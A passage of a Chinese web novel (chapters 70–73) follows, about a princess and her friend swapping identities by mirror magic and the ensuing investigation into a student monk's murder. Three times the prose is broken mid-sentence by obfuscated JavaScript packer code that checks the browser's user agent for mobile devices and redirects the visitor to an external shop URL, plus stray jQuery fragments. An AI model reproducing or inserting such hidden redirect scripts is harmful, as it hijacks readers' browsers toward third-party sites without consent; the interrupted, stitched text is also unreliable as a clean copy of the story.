她将手里的小化妆镜藏在了医务室药品仓库角落的地板下面。在案情没有完全沉寂之前，她都不打算再开放这面禁闭阿伦幽灵的镜子空间。 不过。 卡特琳娜悄悄离开了医务室，走在学院夜里的路灯下，心绪才逐渐平静下来。 这是她第一次杀人。 虽然她知道阿伦没有真正死去，他并不是那具肉身的主人，但她确实杀了他。她能感觉到刀刺进心脏的落空感，能感觉到心脏搏动渐渐减弱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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凯特罗琳努力振作，说：“他被人杀了。我刚刚正在研习社跟社员们一起活动，突然被事务官叫走，被告知阿伦*沙穆在餐厅被人谋杀的事情。现在警员已经封锁了现场，准备进行全学院调查。为了避免王室的声誉受影响，父王令我立即回宫，对外宣告这学期我还没有进入学院。” 虽然大致情形都在卡特琳娜的预想之中，但她还是对调查的高效率感到惊讶。 “我，我现在马上就要回宫了，我想我必须在走之前告诉你这件事。”凯特罗琳抓着她的手，一边哭一边说。 “你别走。”卡特琳娜被她的情绪感染，也开始落泪，“凯特，对不起，是我的错，是我……” 凯特罗琳抱住她，却不知道该怎么安慰。 “是我的错，我应该早点告诉你，之前与你进行镜影谬换的游戏，我就是为了阿伦……”卡特琳娜在她怀里泣不成声，“我，我喜欢他，所以我想如果我变成你的话，他也许就愿意跟我说话了……凯特，我不相信，他，他今天还好好的，怎么可能就死了？” 卡特琳娜紧紧抓住她的肩膀，就像是溺水的人抓住唯一的浮木，苦苦哀求： “能不能再跟我换一次？就一次，我不相信他真的死了。但，但以我的身份，我不可能见到他。如果是你的话，也许，也许我还能见到他的尸体……求求你，凯特，你是我最好的朋友……” 70. 命运交织 凯特罗琳与凯妮丝成为最好的朋友，是在第一学年结束前的流花节。 在那之前，她们几乎没有说过话。 凯特罗琳是拜厄国王托因比*古奥斯的独生女。为了让王室拥有男性继承人，罗拉王后在生育凯特罗琳之后又相继生下了五个女儿。但不幸的是，这些小公主都在幼年时夭折。 在凯特罗琳十四岁时，罗拉王后与国王离婚，回到祖辈的封地城堡，再也没有出现过。而国王新娶了据说好生养的妻子碧翠丝，积极备孕好几年。 如果凯特罗琳这一代始终无法出现直系的男性古奥斯继承人，那王室便面临唯一的选择：王室将为她招募一位入赘夫婿，由她改姓的丈夫或者是他们夫妻的儿子成为王室继承人。 作为拜厄唯一直系公主，凯特罗琳从小便受到严苛的宫廷礼仪管教。她从来没有过独处一室的经历，也没有过想做什么就做什么的自由。她就像是古奥斯王室的提线木偶，她的存在价值是王室的脸面和继承人延续的可能。 在这样压抑环境中成长到十六岁的凯特罗琳，养成了外热内冷的特殊个性。 她从来都是众星拱月的那个月。在王宫，事务官、侍从和大臣从不离身；到了学院，以斐丽佳和诺维雅为首的贵族女孩们对她殷勤周到。她表现得仪态大方、善良亲和，实际上却只是把所有的不愉快暗自咽下，憋着一股无法呼出的气。 在进入学院之前，她一直在王室中受到拜厄最资深教育家们的多对一指导，所以融入到如此多的同龄人中，让她第一次近距离接触到自由的可能。尽管事务官不会离开她超过五十米的距离，但在与同学们的相处中，她知道外面的世界远不是书本上那么无趣和死板。 其中与他们这群关在笼子里的金丝雀最为不同的，便是琼*库克副教授的养女凯妮丝。 她的长相与北大陆人几乎没有什么相同点，轮廓平整、五官清淡、身形普通，两颊会有些婴儿肥，没有任何明显的种族特征。据说她从小跟着教授在世界各地频繁迁移，说狄埃语的一些词汇时会带着古怪的口音。 除了课堂的交流环节外，凯妮丝几乎不与人说话。她一向独来独往，行事孤僻。她不穿淑女的服装，连学院学生制服她都只穿男款。如果说凯特罗琳是众星拱月的月，其他同学是众星拱月的星，那凯妮丝可能会是无意间经过的流星，划走后消失在夜里。 由于身份的差距，很多贵族同学都看不惯这个与他们同班的平民，尤其是斐丽佳和诺维雅。去年十二月凯特罗琳生日时，她们要求班上每个同学都要向王室送出礼物以示忠诚，但只有凯妮丝无视了她们的话。 “没关系，又没有法律规定每个人都必须送我礼物。”凯特罗琳对此表示无所谓，“反而他们的心意让我感动，应该是我向民众分享我的快乐。” 善良的凯特罗琳回馈了每一个送她生日礼物的同学，回礼的价值自然是高出数倍，被回礼的名单中甚至包括了没有送她礼物的凯妮丝。但凯妮丝没有收礼物，也没有去参加公主的生日会。 从那之后，班上便总是有着关于凯妮丝的传言，说她是库克副教授从贫民窟捡到的，生母是做皮肉生意的妓女，生父是满脸癞子的乞丐，甚至她本人更是个怪胎。 “不应该让这样的人跟公主一个班，简直玷污了王室，应该将她驱逐出学院。”斐丽佳对凯特罗琳说，希望靠她的影响力将凯妮丝赶走。 凯特罗琳却不太在意，说：“当她不存在就行了，何必为她费力？” 于是，凯妮丝成为了类似透明人的存在。不过，只是说她闲话而不是找她茬，她乐得一个人孤立全班。 到春季学期的四月，凯特罗琳和凯妮丝依然没有说过一句话。 五月有拜厄历史最悠久、规模最大的节日之一的流花节，庆祝神将鲜花布满大地。 每年五月的费里特会全城布满鲜花，随处可见身穿华丽服饰、头戴花环、脸上涂满彩画的人群，他们来自世界各地，共同庆祝花神恩典。 五月的第二个星期日是流花节的正节当日，王室会举行奢华的宴会，民间也会进行盛大的游行。 其中“十四仙盟游行”是拜厄皇家学院在每届流花节必不可少的项目。 十四仙盟在流花节中具有保佑和祝福的象征意义。 学院会在新生年级选出十四位优秀女学生，在流花节正节当日让她们盛装打扮成传说中的十四位仙女，从费里特大教堂坐花车到圣马河边，期间全城民众都会跟随花车狂欢。 这一年的流花节是公主凯特罗琳成年后的第一个流花节，她又是拜厄皇家学院的一年级新生，理所当然应该是十四仙盟首席“日仙女”的最佳人选。 她已经准备好了日仙女的所有装扮，甚至为了游行学习了鲜花魔法——但是，在游行前一周，王室为了公主的安全着想，不让她站上花车，只准许她在王宫流花晚宴中与适龄的贵族男性跳舞。 日仙女的位置空缺，但女同学们都不愿意替补。 首先，十四仙盟的仙女看起来美好，但只是象征意义，许多家长认为价值不大；其次，大家都知道这是凯特罗琳心心念念的位置，没人想要与公主作对，惹公主不愉快。 甚至为了陪凯特罗琳去宴会，诺维雅也不愿意扮演夜仙女儿而选择退出。综合来看，比起抛头露面参与游行，在王宫流花宴会与适龄贵族男□□际更有意义。 只有凯妮丝，平时不发一言的她这时候站了出来，说：“我愿意替补。” 那是凯特罗琳第一次跟凯妮丝说话，她请凯妮丝来到了她的单人间宿舍，事务官在门外守着。她将准备好的日仙女的装束交接给凯妮丝，并教她日仙女脸上的彩绘怎么画，嘱咐她需要注意的游行细节。 “其实你可以来游行。”凯妮丝说着，将桌上的小蜗牛装饰用被子倒扣住。这个小摆件具有传音功能，是事务官监听公主的工具。 凯特罗琳拿着笔的手停下，愣住了。 “节日的时候会在脸上画这么多奇怪的花，而且大家都会戴鲜花面具，谁又能看出谁是谁？”凯妮丝将凯特罗琳手里的笔拿过来，继续在纸上画未完成的彩绘，“虽然脸不一样，但我们体型相似。我可以去王宫替你跟人跳舞，你替我去花车参加游 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凯妮丝继续说：“不过实际上没有必要区分日和夜。日和夜只是同一个球体转到了不同的面而产生的光线差异，它们是一个整体，只需要一个人来扮演。甚至十二个月也是一样，是太阳直射在球面的不同维度进行的区分，也是一个整体。” 凯特罗琳不太懂她说的话，看着她在纸上写了一个单词，音译过来大概是“凌霄”。 这不会是传言中贫民窟的孩子，她像是来自另一个世界。 “可是，游行结束后我们又怎么交换回来？”凯特罗琳还是有不少顾虑，她很难想象自己会做这样出格的事情。 “你听说过镜子魔法吗？”凯妮丝已经有很完美的解决方案了，“我们可以通过镜子移动，也可以通过镜子制造视觉幻象。” 凯特罗琳对她越来越好奇了，追问：“怎么说？” “在花车上放置一面事前处理过的魔法镜子，可以用魔法制造出对应日仙女的夜仙女形象，到时候日夜仙女就可以由同一个人扮演。此外，我们可以通过镜子在花车和王宫进行移动，在游行和舞会结束后交换身份。” 凯特罗琳似有心动，非常犹豫：“但……但镜子魔法不是人灵派的禁忌魔法吗？我完全没有接触过。” “就因为是禁忌，大家对它一无所知，所以才足够隐秘。”凯妮丝对这个计划很有信心，“你可以相信我，一周内，我就能教你学会最基本的镜子魔法，这是你唯一一次作为日夜仙女站在游行花车上的机会。” 凯特罗琳从来不知道，凯妮丝的魔法造诣竟然已经到了这种程度，却还愿意跟她们这些低年级一起学习。 她当然很想要学魔法，但王室的规矩是女性成员只能学习基础魔法，三年期满毕业后她就要回宫嫁人。她根本不可能有进一步深造魔法的可能性，更不要说是神秘莫测的禁忌魔法。 “你……”凯特罗琳习惯了大家对公主的追捧和奉承，但还是会对凯妮丝的示好不适应。她问：“你为什么要帮我？” “从我第一眼看到你的时候我就知道。” 凯妮丝伸手想要摸凯特罗琳的脸，指尖却停在了半空中，平时冷淡的眼睛变得灼灼发亮。 “我们的命运交织在一起。” 71. 至亲密友 流花节在她们天衣无缝的合作下顺利结束。 凯特罗琳第一次感受到自由的热烈，见到费里特最热闹的人群，经过了圣马河汹涌的水流。她恨不得自己能成为一只小鸟，沿着河水飞到下游，飞往海平面，消失在谁也找不到的地方。 “我从来没有见过海。”凯特罗琳说，甚至她以后也不会有机会去见。 两年后她毕业就必须马上结婚，王室正在为她挑选合适的夫婿，并不在乎那个人是不是她喜欢的。 结婚后，她更不可能离开费里特，甚至连离开王宫都会很困难。 “以后会有机会去看。”凯妮丝对她说，“大海很美，但也很危险。我曾经出过一次海，到了所多曼群岛的边缘，那里是一处浅滩，有无数的礁石……” 凯妮丝会向她讲述一些奇异的经历，让对外面的世界更加向往。 自从流花节后，她们成为了无话不谈的密友，当然，仅限定在深夜。 凯特罗琳的房间在宿舍楼最顶层，凯妮丝会在沉寂的深夜来找她，教她镜子魔法或者是跟她天马行空地聊天。 凯特罗琳很高兴能与凯妮丝成为朋友，凯妮丝是她从来没有接触过的那类人——神秘有趣，令人着迷。 但凯妮丝也给她带来了一个很大的烦恼。 流花节当天的舞会上，扮作凯特罗琳的凯妮丝拒绝了几乎所有男生的邀约，而是反常地主动邀请了一位教会学生修士跳舞。 那个人正是阿伦*沙穆。 他是学院的高年级学生，深受教会看重栽培，在宫廷中凯特罗琳也偶尔会见到他，在那之后他更是常凑到凯特罗琳的跟前。 “你为什么邀请他跳舞？”凯特罗琳问凯妮丝。 “因为他是在场的唯一一位年轻修士，你与他不可能发展任何浪漫关系。我不希望跳舞给你造成麻烦，所以他就是最好的舞伴人选。”凯妮丝的回答没有漏洞。 但她显然是错了，阿伦给凯特罗琳带来了很多麻烦。 不过在冲破教条之后，凯特罗琳的勇气比之前所有时间加起来都多。 她偶尔也会应阿伦的邀约，去学院后面的树林里看湖和湖里映着的星星。比起不知是谁的未婚夫，像阿伦这样不可能的对象反而更让她感觉到放松。 第一学年的暑假，凯特罗琳回到了王宫，但基本已经精通了低阶镜子魔法。她按照凯妮丝的教学将宫中的镜子隐秘地引入灵力定位，通过镜子与凯妮丝密切交流。 凯妮丝在暑假时独自一人去了东部地区旅行，每日通过镜子画面向凯特罗琳分享自然美景和野外奇遇。 凯特罗琳总是看得听得入迷，她实在是太羡慕凯妮丝，强大、自由、随心所欲。 她问凯妮丝的魔法是从哪里学的。 凯妮丝回答说：“虽然你觉得这些魔法厉害，但这只是最浅显的程度，很多时候我仍不得要领，所以我才会想要到学院里重新系统地学习。” “所以你的梦想是成为大巫师吗？”凯特罗琳问她。 凯妮丝愣了很久，才回答说：“梦想……我确实有想要做的事，但我不确定那是不是梦想。为了做到这件事，我得先成为北大陆最强的女巫才行。越接近最强，越无所不能。” 凯特罗琳很羡慕凯妮丝能有自己的梦想，她语气失落：“我还不知道我的梦想是什么呢。” 凯妮丝笑了笑，对她说：“会有的，总有一天你会清楚地知道自己最想去做的事是什么。” 当凯特罗琳在房间里休息的时候，事务官仍会站在她的门外。但她学会了凯妮丝的办法，用杯子制造一个隔绝声音的魔法空间，让其他人无法听到她房内的动静。 如果实在无聊至极，她会在窗边挂一串风铃。 然后阿伦会找一只小鸟飞到她的窗台，约她偷偷出去玩。她很高兴能与阿伦成为朋友，阿伦是跟凯妮丝一样自由自在的人，她觉得跟他们一起玩比跟斐丽佳或诺维雅一起贵族的八卦要有趣多了。 在开学典礼当天的晚上，凯特罗琳用镜子转移术来到了凯妮丝的家里。 凯妮丝并没有与养母琼*库克住在一起，而是自己一个人在偏僻的街道的旅馆租了一个单人房间。 凯特罗琳第一次来到这样简陋的地方，脚踩在嘎吱作响的木板上，天花板的死角里会有难以扫除的蜘蛛网。但她并不觉得难受发，反而对一切感到新奇，原来凯妮丝一直是这样生活的。 “你似乎很好奇。”凯妮丝对凯特罗琳的情绪变化非常敏感，提出建议，“要不要玩一个游戏，是我新学的魔法，叫做镜影谬换术。” “听起来很有趣。”凯特罗琳毫不犹豫地答应了。 仪式非常简单，需要一面来自镜界的、能够反射出真实的自我的魔法镜子，以及用特制的代表连接两人纽带的银丝。 两人各执一块符文，雕刻上各自的姓名，用幽影花瓣、火焰粉末辅助增强魔法效果。 两人站在镜子的两侧，各自将身份符文放置在镜子前，保持一定距离，形成一个“X”形的结构。将银丝的一端固定在每个人的左手上，另一端连接到魔法镜子上。然后在镜子周围撒上一层幽影花瓣和火焰粉末，形成保护阵法。 最后，两人同时诵读特定的咒语。 “你即是我，我即是你。” “以你的名字，显示我的容颜。” “以我的名字，迎接你的真实。” 镜面闪烁，发出银光。两人闭上眼睛，通过镜子的灵力指引感受对方的灵魂。 镜影谬换术相当成功，凯特罗琳变成了凯妮丝的样子，而凯妮丝变成了她的样子。她们交换了衣服，凯妮丝通过镜子转移术回到王宫。而凯特罗琳睡在凯妮丝的床上，在全新的生活环境中，感受到了前所未有的自由。 第二天，她们约在了长街见面。 也不知道凯妮丝是怎么说服事务官让她在快迟到的时间点在学院外下马车，她们两人碰面后手拉着手，疯狂地飞奔向即将关闭的学院大门。 早上的阳光特别好，凯特罗琳侧过头去能看到凯妮丝的脸。凯妮丝现在的脸就是她的脸，但她却觉得自己的脸好陌生。 她似乎从来没有认识过这个人，她从来没有觉得自己就是这个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13984078|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 * 阿伦死亡的阴影瞬间笼罩住了这一对至亲密友。 卡特琳娜苦苦哀求道：“求你了，我想要再见他一次……” “我不能离开太久，我借口去盥洗室脱离事务官的视线，再久她该发现我了……我们必须快一点。”凯特罗琳很难拒绝至亲密友的请求。 在凯特罗琳心目中，凯妮丝与别的人不一样，她对财富、权势都无所求。凯特罗琳能够给的恩惠和施舍，凯妮丝都不需要。 但这是第一次，凯妮丝请求她。 凯特罗琳毫不犹豫答应了。 她们来到了白天到过的那个湖边，将湖水当做是镜面，将月光当做是银线。幽影花瓣和火焰粉末由枯叶和萤火虫来替代，她们面对湖面并列站着。 “你即是我，我即是你。” “以你的名字，显示我的容颜。” “以我的名字，迎接你的真实。” 不出意外，镜影谬换术的魔法再次成功。凯特罗琳感觉到自己的魔法实力增强了，她很满意自己现在的状态。 “不过……你白日的时候晕倒，导致了魔法失效，身体还好吗？”凯特罗琳担心地问。 “不会有事的，我只是想去看看阿伦，你回宿舍等我，我很快会去找你。”卡特琳娜很有信心。 她们交换了衣服，正准备分开时，凯特罗琳突然说：“我忘记告诉你一件事，警局来学院秘密调查杀人案，如果发现是涉及魔法的情况，会进行区域性魔法屏蔽，那很有可能影响我们镜子转移术的使用……甚至，连通过镜子联系也会变得困难。” “如果你很担心我们之后没机会换回来的话，现在就结束这个魔法。”卡特琳娜深思熟虑后说，“虽然我确实很想要见阿伦，但他也是你的朋友，你应该也很想要见到他……” “不。”凯特罗琳摇摇头，轻轻拉住凯妮丝的手说，“虽然他死了，我也很伤心。但比起阿伦*沙穆，你对我来说更重要。我很高兴能帮助你做你想做的事，我会等你来找我。” 两人就此分别。 卡特琳娜想要使用镜子转移术到凯特罗琳逃出来的盥洗室，却发现灵力有被抑制的感觉。看来是警方做出了应对措施，减少潜在凶手逃走的机会。 她不再尝试魔法，而是从窗户翻越进去。 凯特罗琳很聪明，制作了一个小型的海螺播放器，放着她悲泣的声音。门外的事务官会以为她听到阿伦死亡的消息而大受打击，放任她一个人在盥洗室里大哭一场。 事务官并不会怀疑公主与阿伦之间的关系，毕竟公主天生善良纯真。即使是宫里的一只小鸟死了，她也会悲痛不已，为逝去的生命去教堂乞求灵魂安宁。 但她这一场哭持续了太久时间，事务官最终不能再等下去。 “殿下，警方已经封锁了整个校区。请您尽快整理好心情，回宫的马车已经备妥。” 话音刚落，门打开了。 公主走了出来，她眼角还挂着泪，表情悲恸而决绝。她对事务官说： “让我去见警长，我知道是谁杀了阿伦。” 72. 预知证人 除了极个别人士外，几乎所有教职工都在餐厅用餐。受害者的死亡时间在用餐结束后的几分钟到十几分钟内，根据现场的情况来看，大部分人都不能被排除嫌疑。 因此，校方配合警方的工作，将拜厄皇家学院进行了全面封锁，不仅设置了魔法屏蔽的装置，还在各个出口部署警力以限制校内人员的外出。 这是学院建立以来最严重的恶性事件，不仅涉及到人命，而且受害者还是全知神教派到学院进修的学生修士。 为了不扩大化影响，整个调查在原则上秘密进行。 大部分学生对此事并不知情，学习日程未做修改，只是得到了学院的单方面通知——他们这段时间不能外出或在学院内自由行动，也不得与外界取得任何意义上的联系。 由于事出突然，大家都不明所以，并不知道发生了什么事情，将要面对的又会是什么。 “你说你知道凶手是谁？” 调查组组长是探员内利*泰勒，一个古板严厉的老头，他不仅是拜厄国内最强的探员，还是对线索极其敏锐的物灵派巫师。 本来以他的资历，应该早早成为警局内部的高层，但他的性格实在是太难相处，又不懂变通，所以在接近退休的年纪里仍然只是探员。在有离奇事件发生时，警局看重他的实力，会委派他为调查组组长。 他对待公主，也就像对待普通证人或嫌疑人那样，公平公正没有任何偏颇。 此时，卡特琳娜正坐在被调查组征用的校长室，接受警方的问询。 她坐在会客沙发上，对面是内利*泰勒和他拿着纸笔做记录的助手，旁边还有她的事务官和校方人员。其他警员并没有在这里，应该是忙着寻找其他线索。 卡特琳娜说她知道凶手是谁，当然有一定的心理预期。因为阿伦*沙穆让鹦鹉去求援，得到消息的人一定知道他在与某个人见面。 调查组知道是那个人杀了阿伦*沙穆，但却不知道是谁。 “用餐结束后，我就与同学一起去研习社进行活动，但在离开前见到阿伦*沙穆站在拐角处，他正在与一个男生说话，似乎不太愉快。” “男生？”内利皱了皱眉头，从兜里拿出烟斗。 他旁边的助手急急忙忙地记录着。 卡特琳娜露出礼貌的笑容，和善地说：“探长阁下，不好意思，在我们学院，室内禁烟。” 内利无所谓地翘起二郎腿，叼着烟斗，说：“我不点火。你说你见到的那个男生是谁？” “我不知道他的名字，但我看到了他的脸。”卡特琳娜继续笑着，“很有可能是新生，毕竟我昨天没能参加开学典礼，对新同学并没有什么印象。如果是我的同级或高年级学生，我肯定能知道他。” “你怎么知道他是凶手？”内利问。 卡特琳娜完全不怕暴露自己，毕竟她作为凯特罗琳一直与斐丽佳和诺维雅一群人在一起，有着完美的不在场证明。公主是第一批被排除嫌疑的人，所以王室会在第一时间将她召回宫。 但她不太想回去。 “我梦到过。”卡特琳娜垂下眼来，“虽然我不知道他是谁，但我梦到他杀了阿伦。本来以为只是一个梦，所以听到阿伦被杀害的消息后我太震惊了。我没有立即回王宫，而是来告诉你们这个重要的线索。” 她的声音变得轻微，就像是飘在空气中的羽毛，如果不是专注去感受，会很容易将其忽略掉。 “阿伦的耳朵被割下来，他的心脏被插了一把刀，他的灵魂变成了灰烬。”卡特琳娜说着，泪水从眼睛流下。 她把阿伦死因和尸体的细节都说得与现实完全一致，就像是目睹了案发现场。 内利眼色一沉，将无火的烟斗拿在手里，慢慢坐正了身子，仔细地看着眼前动容的公主。 他皱着眉头，似有所思，问：“离开餐厅后你去了哪里？” 卡特琳娜没有立即回答，她的事务官替她答道：“殿下去了研习社，一直待在那里，在被告知案情后她才提出要与探长您见面。” 不仅是研习社，事务官更是她最好的无嫌疑证明人。 “凶手长什么样子？”内利又问。 他的助手将纸笔递过来，由卡特琳娜接住了。凯特罗琳受到顶尖的美学教育，美术功底相当深厚。卡特琳娜自然是不及她，不愿意被人发现过于明显的破绽。 她手指摸到纸张边缘，一颗血珠低落在了桌上。 “殿下！”事务官立即抢走她手里的纸笔， “嘶……”卡特琳娜缩了缩肩膀，但还是坚强地说，“没关系，只是划伤了一点。” “对，对不起！”递过来纸张的探长助手慌张得手足无措。 事务官朝他吼道：“快去叫医务官！” “不用……这种小事……” 但在事务官的怒视下，探长助手不得不飞奔跑出校长办公室，而事务官一边为公主止血，一边怒斥内利：“公主殿下要回宫休养，你要是还有什么问题，请直接与我联系。” “这不太好吧，事务官女士。”内利反对道，“公主殿下没有到过凶案现场，却能凭借一个预先的梦境知道凶案的实情，这绝对不是偶然。这很有可能是一场有预谋的魔法杀人案。公主殿下作为重要证人，请务必留下协助我们调查。” “请泰勒先生将协助调查的申请提交到王宫对外办事处！待国王陛下审批通过后，我会陪同公主殿下来配合你的工作！”事务官言辞坚决。 这时候探长助手请到了医务官来为公主诊治。 是负责校医务室的副教授琼*库克，凯妮丝名义上的养母。 “没什么问题，没有魔法残留的痕迹，应该是简单的物理伤口。”琼*库克很快做出了判断，她给公主手指上的伤口消毒，并用无菌布条进行了简单的粘贴，“殿下的手太过于细嫩，很容易受伤，在接触锋利物件时需要格外注意。” 但在处理完毕后，她没有告辞离开，而是轻轻抓着卡特琳娜的手，看着她的眼睛。 卡特琳娜知道自己被发现了，因为凯妮丝的手并不细嫩，长时间的底层生活让她的手非常粗糙。即使镜影谬换术能够改变她与凯特罗琳的视觉形象，她的手给人的触感是不会变化的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14007116|143623||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且刚刚她用了点极其细微的魔法让纸张故意划破自己的手，琼*库克提到这一点就是在暗示她。 “好的，我以后会注意的，谢谢库克老师。”卡特琳娜故作镇定地回答，“有您这样一位专业的医务官为学生们操心，是王室的荣幸。之前听过老师您的课，答应了您会好好学习魔法药理学，我一定会努力做到，不会辜负您的期望。” 琼*库克听懂了她话中的话，点点头，告辞离开了。 事务官也准备带公主离开，但却被内利阻止。探长说：“我理解王室想要保护公主，但现在凶案调查非常紧迫。凶手一定还在学院当中，我们需要公主作为重要证人的协助……” “做任何事都是要依照规矩来办，请您遵守流程。”事务官油盐不进，“现在已经是晚上十点，我必须立即带公主回宫。” 她说着便拉卡特琳娜往外走。 事务官刚刚打开校长办公室的门，便被吓得战栗了一下，下意识放开了公主的手，双手交叉抱胸并打开进行全知神教的信徒起到姿势，道：“主神在上！” 卡特琳娜抬头，看到了门外的巨大阴影。 她以前从未见过这个人，但却对他非常熟悉。从她刚刚来到这个世界开始，她便无数次听过他的名字。 作为凯妮丝时，也时常在路上被教会成员拉着布道，传教手册里会有他的画像，庄严、肃穆、光明、慈祥。 肯·沙穆，全知神教任期最长的教皇，他的外貌令人难以置信地保持在三十岁左右，而实际上他已经是百岁高龄。 他那如晨光般的微笑与平和的眼神令信徒们倍感安心，金色的绣有繁复符文的长袍象征着与神灵的亲近。他从阴影走到了校长办公室的灯光下，无法抵挡的威严与震慑。 卡特琳娜第一次直面这位传说中与凯特罗琳女王争权对峙的人物，内心也不由得颤动。 她深知肯*沙穆的真实面目远比他圣光四溢的外表复杂得多。 他是物灵派最顶尖的巫师，精通各种玄奥的魔法与咒语，游走于生与死、光明与黑暗的边缘。他的内心一定隐藏着对权力与掌控的渴望，他令人畏惧的智慧可能已经被令人窒息的欲望所扭曲。 他是将阿伦*沙穆从幽冥之国召唤到人间的主谋，他是幽灵女夺取卡特琳娜肉身的教唆者，他还是派遣伊桑*沙穆覆灭洛尔兰的幕后黑手。 卡特琳娜屏住了呼吸，往后退了好几步，眼睛一动不动地盯着这个终于从暗处走到台前的男人。 教皇肯*沙穆亲自来到拜厄皇家学院，可见他对阿伦*沙穆的重视。 他表情平和，没有表露出任何悲伤的情绪，简单环视了屋内，目光落在了公主的身上。 “主神庇佑之下，竟有人伤害了虔诚的信徒、神音的传递者。”肯·沙穆的声音如同丝绸般柔和，带着一种不容置疑的权威。他转移了视线，往前走到了书桌旁，“罪人必将接受罪罚，永世不得逃脱。” 这一刻，卡特琳娜感觉到自己仿佛被钉在了十字架上，被地狱的火焰灼烧，正如当时她看到的下地狱的幽灵女那样。 73. 她的圣父 在没有见到教皇肯*沙穆之前，卡特琳娜觉得自己的计划天衣无缝。 她可以借由凯特罗琳的身份将调查的方向引导到一个不存在的人身上，让警方将目标锁定于一个不存在的凶手。到时候警方抓不到人，案件要么是草草了结，要么是彻底沉寂，都不会与她凯妮丝*库克有任何关联。 但肯*沙穆的出现，让她意识到是自己想得过于简单。 她以为阿伦*沙穆只是肯*沙穆召唤幽灵的一次无关紧要的试验，虽然将他当做是沟通现界与幽冥的桥梁，但阿伦*沙穆的名字在几十年间并没有出现在任何重要场合的记载中。 相反，他唯一的疑点是与伊桑*莱斯利极其相似的样貌。卡特琳娜迫切地想要再次与他的幽灵沟通，盲目采取了行动，如今才察觉自己陷入了进退两难的境地。 无论内利*泰勒怎么要求，事务官都不同意公主留下协助调查，但肯*沙穆还没有开口，事务官便主动告知了公主与探长的对话，并提出：“圣父大人，我与公主殿下，将遵从您的指引。” 显然，在事务官心目中，比起国王她更愿意执行教皇的指令。 根据卡特琳娜所了解的历史来看，在凯特罗琳女王登基实行二元君主立宪制以前，拜厄一直是教权政治体制。其中宗教领袖在国家治理中拥有至高无上的权力，宗教法律和教义对国家法律和政策有直接影响。 拜厄王室是全知神的信徒，就连国王都是由教皇扶持。王室成员在满月时，都由教皇亲自进行洗礼。因此，包括他们在内的所有信徒，都尊称肯*沙穆为“圣父”。 卡特琳娜向肯*沙穆行礼，尊称道：“圣父。” 拜厄国内百分之九十的民众都是全知神教的信徒，百分之八在偏远地区的民众是其他教会的成员，只有百分之二的人是无信仰者。 内利*泰勒是无信仰者中的一员，他的无信仰让他丧失了很多晋升的机会，使他永远只能作为一个一线底层的探长。 即便如此，他也表示了对全知神教的尊重，终于将烟斗收了起来。 紧接着，好几个身着深蓝色长袍的神职人员进入办公室。警局局长和若干警员在门口探头，毕恭毕敬道：“圣父大人，初步调查会议已经准备完毕，请您移步。” 肯*沙穆轻轻点头，走到了卡特琳娜面前，伸出手来。他音色低沉，有股令人沉醉的魔力：“殿下，烦请。” 卡特琳娜低头看到了肯*沙穆的手心，并不像是一位百岁老人的手，纤细、白皙、骨节分明。她下意识将自己的手抬起来，但最终没有放上去。 她的手与凯特罗琳的不太一样，连琼*库克都能察觉不同，更何况是肯*沙穆。 “圣父，我手上有伤。”她回绝了他的邀请。 肯*沙穆并没有强求，放下手，柔声道：“跟上。” 卡特琳娜便恍恍惚惚跟在他身后，随着浩浩荡荡的一群人进了学院最大的会议室。里面坐了很多警员、神职人员和校方人士，听取学生修士被杀案的第一次调查报告。 卡特琳娜坐在了第一排，左边是警察局长，右边是教皇。由于座位有限，她的事务官只能站在她的侧后方。 调差报告会先是由警方展示了临摹画家所做的现场图示，并由调查组组长内利*泰勒简述目前的进展： “死者心脏被利器贯穿，当场死亡，是他的直接死亡原因。经过利器比对鉴定，凶器应该是类似学院餐厅最常用的餐刀。 “由于第一现场在魔法空间内，魔法空间已经完全消失，难以对现场进行重建分析。但死者左耳几乎被割下，身体各处都有新伤，明显经历了一场激烈的打斗。 “监督者13号是最重要的线索，但由于它灵智有限，很难说明当时受害者面临的险境。但我们能够确定的是，有人将受害者封闭在以餐厅右侧出口的长廊为依托的魔法空间内，使受害者不得不通过监督者13号向他的导师霍布斯*沙穆先生求援。 “遗憾的是，在霍布斯达到现场后，发现的是受害者的尸体。而凶手，几乎没有留下任何踪迹。” 由于霍布斯与阿伦的关系密切，通灵魔法是由他进行，他发表了对通灵魔法不成功的解释：“阿伦……不，受害者身上残留着不属于他的灵力痕迹，通灵魔法失败，可以想象的是他的灵魂被凶手抽取了。” 此话一出，台下一片哗然。 卡特琳娜也捏住了裙子，她不免心惊，当前没有照相机也没有先进的侦查技术，但警方和教会合作效率非常之高，竟然这么快就发现了问题所在。 “这是一起针对神的恐怖袭击！”霍布斯情绪非常激动，他抬起手来，愤怒非常，“主神在上，请赐予我为学生报仇的力量，让潜藏在阴影里的凶手露出原型！” 许多人受到他的感染，也纷纷喊道：“主神在上！” 在他们平静下来之后，校方代表上台承诺完全配合警方和教会的调查行动，并已经整理好了与受害者联系密切的人员名单以供重点排查。 